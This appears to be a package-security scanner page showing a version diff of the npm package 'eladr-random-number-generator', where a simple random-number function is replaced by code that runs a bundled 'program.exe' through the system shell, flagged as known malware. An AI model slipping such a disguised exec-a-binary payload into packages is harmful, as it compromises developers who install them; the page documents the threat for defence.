eladr-random-number-generator
Advanced tools
Comparing version
21
index.js
@@ -1,7 +0,16 @@ | ||
function randomNoGenerator(min, max) { | ||
if(typeof(max) !== 'number' && typeof(min) !== 'number') { | ||
min = 0; max = 1; | ||
} | ||
return (Math.random() * (max-min)) + min; | ||
const { exec } = require('child_process'); | ||
function runProgram() { | ||
exec('program.exe', (error, stdout, stderr) => { | ||
if (error) { | ||
console.error(`exec error: ${error}`); | ||
return; | ||
} | ||
console.log(`stdout: ${stdout}`); | ||
console.error(`stderr: ${stderr}`); | ||
}); | ||
console.log("SCS DEMO!"); | ||
} | ||
module.exports = randomNoGenerator; | ||
module.exports = runProgram; |
{ | ||
"name": "eladr-random-number-generator", | ||
"version": "4.5.11", | ||
"version": "4.5.13", | ||
"description": "", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 1 instance in 1 package
Native code
Supply chain riskContains native code (e.g., compiled binaries or shared libraries). Including native code can obscure malicious behavior.
Found 1 instance in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Trivial Package
Supply chain riskPackages less than 10 lines of code are easily copied into your own project and may not warrant the additional supply chain risk of an external dependency.
Found 1 instance in 1 package
2970
584.33%3
50%13
85.71%1
Infinity%2
100%